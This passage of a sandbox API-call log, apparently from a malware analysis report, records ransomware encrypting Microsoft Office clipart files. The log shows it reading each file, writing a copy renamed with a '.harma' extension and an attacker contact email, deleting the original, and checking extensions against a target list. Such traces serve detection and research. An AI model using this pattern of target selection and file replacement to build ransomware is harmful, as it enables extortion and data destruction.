dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.894] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.895] GetLastError () returned 0x0 [0156.895] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x816, lpOverlapped=0x0) returned 1 [0156.897] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x820, lpOverlapped=0x0) returned 1 [0156.898] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.898] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.898] SetEndOfFile (hFile=0x360) returned 1 [0156.898] CloseHandle (hObject=0x360) returned 1 [0156.898] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.898] SetEndOfFile (hFile=0x374) returned 1 [0156.901] CloseHandle (hObject=0x374) returned 1 [0156.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 1 [0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.902] lstrlenW (lpString=".doc") returned 4 [0156.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.902] lstrlenW (lpString=".docx") returned 5 [0156.902] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0156.902] lstrlenW (lpString=".pdf") returned 4 [0156.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.902] lstrlenW (lpString=".xls") returned 4 [0156.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.902] lstrlenW (lpString=".xlsx") returned 5 [0156.902] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0156.902] lstrlenW (lpString=".ppt") returned 4 [0156.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.902] lstrlenW (lpString=".zip") returned 4 [0156.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.902] lstrlenW (lpString=".rar") returned 4 [0156.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString=".bz2") returned 4 [0156.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString=".7z") returned 3 [0156.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.903] lstrlenW (lpString=".dbf") returned 4 [0156.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.903] lstrlenW (lpString=".1cd") returned 4 [0156.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.903] lstrlenW (lpString=".jpg") returned 4 [0156.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.903] lstrlenW (lpString=".doc") returned 4 [0156.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString=".docx") returned 5 [0156.903] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0156.903] lstrlenW (lpString=".pdf") returned 4 [0156.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString=".xls") returned 4 [0156.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.903] lstrlenW (lpString=".xlsx") returned 5 [0156.903] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0156.903] lstrlenW (lpString=".ppt") returned 4 [0156.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.904] lstrlenW (lpString=".zip") returned 4 [0156.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.904] lstrlenW (lpString=".rar") returned 4 [0156.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString=".bz2") returned 4 [0156.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString=".7z") returned 3 [0156.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.904] lstrlenW (lpString=".dbf") returned 4 [0156.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.904] lstrlenW (lpString=".1cd") returned 4 [0156.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0156.904] lstrlenW (lpString=".jpg") returned 4 [0156.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.904] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.904] lstrlenW (lpString="HH00231_.WMF") returned 12 [0156.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.905] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2232) returned 1 [0156.905] CloseHandle (hObject=0x374) returned 1 [0156.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0156.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.906] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.906] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.907] GetLastError () returned 0x0 [0156.907] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0156.920] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0156.921] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.921] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.921] SetEndOfFile (hFile=0x360) returned 1 [0156.921] CloseHandle (hObject=0x360) returned 1 [0156.922] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.922] SetEndOfFile (hFile=0x374) returned 1 [0156.924] CloseHandle (hObject=0x374) returned 1 [0156.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.924] lstrlenW (lpString=".doc") returned 4 [0156.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString=".docx") returned 5 [0156.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.925] lstrlenW (lpString=".pdf") returned 4 [0156.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString=".xls") returned 4 [0156.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.925] lstrlenW (lpString=".xlsx") returned 5 [0156.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.925] lstrlenW (lpString=".ppt") returned 4 [0156.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.925] lstrlenW (lpString=".zip") returned 4 [0156.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.925] lstrlenW (lpString=".rar") returned 4 [0156.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString=".bz2") returned 4 [0156.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString=".7z") returned 3 [0156.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.925] lstrlenW (lpString=".dbf") returned 4 [0156.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.925] lstrlenW (lpString=".1cd") returned 4 [0156.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.925] lstrlenW (lpString=".jpg") returned 4 [0156.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.926] lstrlenW (lpString=".doc") returned 4 [0156.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString=".docx") returned 5 [0156.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.926] lstrlenW (lpString=".pdf") returned 4 [0156.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString=".xls") returned 4 [0156.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.926] lstrlenW (lpString=".xlsx") returned 5 [0156.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.926] lstrlenW (lpString=".ppt") returned 4 [0156.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.926] lstrlenW (lpString=".zip") returned 4 [0156.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.926] lstrlenW (lpString=".rar") returned 4 [0156.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString=".bz2") returned 4 [0156.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString=".7z") returned 3 [0156.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.926] lstrlenW (lpString=".dbf") returned 4 [0156.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.927] lstrlenW (lpString=".1cd") returned 4 [0156.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0156.927] lstrlenW (lpString=".jpg") returned 4 [0156.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.927] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.927] lstrlenW (lpString="HH00236_.WMF") returned 12 [0156.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.927] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3286) returned 1 [0156.927] CloseHandle (hObject=0x374) returned 1 [0156.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0156.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.935] GetLastError () returned 0x0 [0156.935] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xcd6, lpOverlapped=0x0) returned 1 [0156.983] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0156.984] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.984] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.984] SetEndOfFile (hFile=0x340) returned 1 [0156.984] CloseHandle (hObject=0x340) returned 1 [0156.984] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.984] SetEndOfFile (hFile=0x374) returned 1 [0156.990] CloseHandle (hObject=0x374) returned 1 [0156.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString=".doc") returned 4 [0156.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".docx") returned 5 [0156.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.992] lstrlenW (lpString=".pdf") returned 4 [0156.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".xls") returned 4 [0156.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.992] lstrlenW (lpString=".xlsx") returned 5 [0156.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.992] lstrlenW (lpString=".ppt") returned 4 [0156.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString=".zip") returned 4 [0156.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.992] lstrlenW (lpString=".rar") returned 4 [0156.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".bz2") returned 4 [0156.992] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString=".7z") returned 3 [0156.992] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString=".dbf") returned 4 [0156.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString=".1cd") returned 4 [0156.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.992] lstrlenW (lpString=".jpg") returned 4 [0156.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString=".doc") returned 4 [0156.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".docx") returned 5 [0156.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.993] lstrlenW (lpString=".pdf") returned 4 [0156.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".xls") returned 4 [0156.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.993] lstrlenW (lpString=".xlsx") returned 5 [0156.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.993] lstrlenW (lpString=".ppt") returned 4 [0156.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString=".zip") returned 4 [0156.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.993] lstrlenW (lpString=".rar") returned 4 [0156.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".bz2") returned 4 [0156.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString=".7z") returned 3 [0156.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString=".dbf") returned 4 [0156.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString=".1cd") returned 4 [0156.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0156.993] lstrlenW (lpString=".jpg") returned 4 [0156.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.994] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.994] lstrlenW (lpString="HH00241_.WMF") returned 12 [0156.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.994] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1960) returned 1 [0156.994] CloseHandle (hObject=0x374) returned 1 [0156.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0156.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.995] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.995] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0156.996] GetLastError () returned 0x0 [0156.996] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, 